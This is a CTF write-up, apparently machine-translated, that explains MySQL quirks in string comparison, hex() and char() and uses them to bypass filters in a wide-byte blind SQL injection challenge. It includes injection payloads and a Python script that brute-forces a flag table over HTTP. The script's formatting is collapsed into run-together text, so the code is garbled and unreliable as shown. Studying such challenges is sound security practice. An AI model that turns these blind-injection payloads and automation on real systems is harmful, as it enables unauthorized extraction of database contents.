Some characteristics of-mysql caused by a CTF problem

0x01 background

The day before yesterday in a CTF topic, a blind question, in fact, blinds may also be able to echo the data, such as using DNS or HTTP logs to obtain data quickly, MySQL can use the Load_file () function to read data, and send data information to the remote DNS host, The query results for the blind statement are available in the DNS log file at this time. This is not the part of the discussion here, but there is this method, in this topic I use the regular blind way to obtain data. The following issues are encountered:

1. The judgment and bypass of filtering rules
2. Some of MySQL's features that few people summarize
3. cumbersome and inefficient manual blinds

This problem really makes me think a lot, of course, there are some features I am not very clear, but also hope to have a lot of friends advice.

Address of the topic: http://218.2.197.235:23733/index.php

Summary of some features of 0x02 MySQL

First of all, say some features of MySQL, and then the topic, so I think better can explain the problems encountered at the time of the problem and solve the method.

(1) Case not strongly matched when comparing strings

mysql> Select ' 1abc ' = ' 1AbC ';

+---------------+

| ' 1abc ' = ' 1AbC ' |

+---------------+

| 1 |

+---------------+

1 row in Set

(2) The string of numbers is equal to the number itself

Mysql> Select 123=123;

+---------+

| 123=123 |

+---------+

| 1 |

+---------+

1 row in Set

Mysql> Select ' 123 ' = 123;

+-----------+

| ' 123 ' = 123 |

+-----------+

| 1 |

+-----------+

1 row in Set

(3) Hex () The result of the conversion is a string, in fact, this should be the display of ABC is a pure 10 value, so according to the characteristics of (2), the Hex (' abc ') =616263 will be equal, but in fact, the result of Hex () is a string.

Mysql> Select Hex (' abc ');

+------------+

| Hex (' abc ') |

+------------+

| 616263 |

+------------+

1 row in Set

Mysql> Select Hex (' abc ') = 616263;

+-------------------+

| Hex (' abc ') =616263 |

+-------------------+

| 1 |

+-------------------+

1 row in Set

Mysql> Select Hex (' abc ') = ' 616263 ';

+---------------------+

| Hex (' abc ') = ' 616263 ' |

+---------------------+

| 1 |

+---------------------+

1 row in Set

The following example is used to illustrate that the result of Hex () is a string, forgive me for being so verbose:-)

Mysql> Select Hex (' root ');

+-------------+

| Hex (' root ') |

+-------------+

| 726f6f74 |

+-------------+

1 row in Set

Mysql> Select Hex (' root ') =726f6f74;

1054-unknown column ' 726f6f74 ' in ' Field list '

Mysql> Select Hex (' root ') = ' 726f6f74 ';

+------------------------+

| Hex (' root ') = ' 726f6f74 ' |

+------------------------+

| 1 |

+------------------------+

1 row in Set

Callout: Here because the result is 16 binary, so it is not possible to directly match 726f6f74, but need to enclose the quotation marks, so it can be explained that the result of Hex () is a string, but the above example because the hex (' abc ') is a pure number, so it will be equal to the number 616263

Well, at this time may have the reunion asked: that as long as the direct 726f6f74 plus 0x can it?! Here is actually a beginner's understanding of a misunderstanding, the following example shows that this understanding is wrong.

Mysql> Select Hex (' root ');

+-------------+

| Hex (' root ') |

+-------------+

| 726f6f74 |

+-------------+

1 row in Set

Mysql> Select Hex (' root ') =0x726f6f74;

+------------------------+

| Hex (' root ') =0x726f6f74 |

+------------------------+

| 0 |

+------------------------+

1 row in Set

Well, what exactly is 0x726f6f74? In fact, we directly decode this string of 16 encoded characters to know, the result is root, so just hex (' root ') =0x726f6f74, is actually the string "726f6f74" = "root" so it must be not equal.

Mysql> Select 0x726f6f74;

+------------+

| 0x726f6f74 |

+------------+

| Root |

+------------+

1 row in Set

Therefore, to make the above equation equal, the string "726f6f74" will need to be a 16-input encoding, and then need to add 0x before the equation can be set up.

Mysql> Select Hex (' 726f6f74 ');

+------------------+

| Hex (' 726f6f74 ') |

+------------------+

| 3732364636463734 |

+------------------+

1 row in Set

Mysql> Select Hex (' root ') =0x3732364636463734;

+--------------------------------+

| Hex (' root ') =0x3732364636463734 |

+--------------------------------+

| 1 |

+--------------------------------+

1 row in Set

(4) Alternative way of quotation marks

In MySQL we passed the above summary know that the string in addition to using single-double quotation mark declaration, you can also use 16 encoding, and then have to use char () to declare, of course, in some scenarios filter the single double quotation marks and when we can choose 16 and char () to encode the string, here to mention Char () attributes for string comparisons.

In fact, when the problem encountered a suspicious point, is in the enumeration when the discovery appears two, char (116) The result is the same, decoded after the discovery is T,char (84) is T,char (116) is T.

According to the previous (1), compared to the case of the string is not strong match, so I did the following experiments to verify my idea, the results let me eat a lot of surprise, unexpectedly is not equal, this problem I have not thought to understand, there are cows and cows thought, I would like to exchange, this is also I have been thinking not understand the point

Mysql> Select char (84);

+----------+

| CHAR (84) |

+----------+

| T |

+----------+

1 row in Set

mysql> select ' t ' =char (84);

+--------------+

| ' t ' =char (84) |

+--------------+

| 0 |

+--------------+

1 row in Set

Callout: concludes that the string is strongly matched when compared to char ().

0x03 briefly the process of doing the problem

Above first said "after the summary", hope that in flashbacks this way can better understand why I use Hex () in the process of the first is the injection method of judgment, this is also a conventional judgment, followed by the direct use of a wide-byte injection method.

Then is the regular filter rule judgment, the blind is commonly used is the ASCII and substring nesting, filtering rule judgment, my way is: write the statement directly in the local test, and then look at the assumption that there is no filtering of the situation where the local execution phenomenon is how, Then put the payload on the real shooting range to test, observe whether the phenomenon is consistent with the local, the same is not filtered, inconsistent is filtered.

Callout: Local test, because the topic is wide byte injection, can not normally use single double quotation marks to declare the string, so I use char () to encode the string, so this payload:if (substring (user (), =char (114)), 1,0 ), traversing 114 of the position correctly returns the packet length is 2339, incorrect is 417.

Mysql> Select User from users where user_id=-1 or if ((substring (user (), =char (114)), 1,0);

+---------+

| user |

+---------+

| admin |

| gordonb |

| 1337 |

| Pablo |

| Smithy |

+---------+

5 rows in Set

It turns out that no matter what the traversal shows 2339, it proves that our Substring,char () or user () is filtered, and that the test is substring filtered, this example just wants to share how I judge the filter rule when I deal with the blinds.

Filtering results and coping process: After comparing the phenomena of local test and practice range, the following conclusions are drawn. Substring,mid,ord,ascii have been filtered. Finally, it is possible to use Left () and char (), but this method does not directly capture the exact flag because the flag may be case-sensitive. (Here char (84) and char (116) result why the same confusion point has not been solved)

So the use of Hex () in the case of the strings of their 16 binary is not the same, so you can use Hex () to match the case strictly.

Mysql> Select Hex (' Ro ');

+-----------+

| Hex (' Ro ') |

+-----------+

| 526F |

+-----------+

1 row in Set

Mysql> Select Hex (' RO ');

+-----------+

| Hex (' RO ') |

+-----------+

| 524F |

+-----------+

1 row in Set

Mysql> Select Hex (' RO ') =0x35323446; The 16 binary here is hex (' RO '), which is the 16 binary of 524F.

+----------------------+

| Hex (' RO ') =0x35323446 |

+----------------------+

| 1 |

+----------------------+

1 row in Set

By manually using T 2 times 16 to encode the 0x3734, the manual test verifies that the idea is feasible, and then need to use the simplest payload SQL injection, because it is blind so can be bold guess falg in the flag table of the Flag field, Otherwise this problem will be too time-consuming.

0X04 solves the tedious and inefficient manual blinds

To this step is actually test programming ability, directly on the Python code, write a rough, hoping to communicate with friends and improve each other.

#-*-coding:utf-8-*-#-*-by thinking-*-ImportRequestsImportstringGlobaluGlobalPAYLOADSU="HTTP://218.2.197.235:23733/INDEX.PHP?KEY=002265%BF ' | | +"payloads= string.letters + string.digits +string.punctuationdefGetlen (SQLi): forLinchRange (1, 50+1, 1): Getlenpayload="if ( ((("+ SQLi +") ) (={}), 1,0)%23". Format (L) URL= U +getlenpayload GetResult=requests.get (URL)ifLen (getresult.content) >2000: Len=LPrintLen Break    returnLendefGetData (Sqli,len): Char="'Temp="'     forPinchRange (1,len+1):         forIinchpayloads:i= temp + I.encode ('Hex'). Upper (). Encode ('Hex') Getdatapayload="if (Hex (left ("+ SQLi +"), {}) (=0x{}), 1,0)%23". Format (p,i) URL= U +getdatapayload GetResult=requests.get (URL)ifLen (getresult.content) > 2000: Char= char +I temp= temp + I.encode ('Hex'). Upper (). Encode ('Hex')                PrintChar.ljust (Len,'-')                 BreakdefMain (): Data="Select (Length (flag)) from (flag)"Datalen=Getlen (data) SQLi="Select (flag) from (flag)"GetData (SQLi, Datalen)if __name__=='__main__': Main ()

Some characteristics of-mysql caused by a CTF problem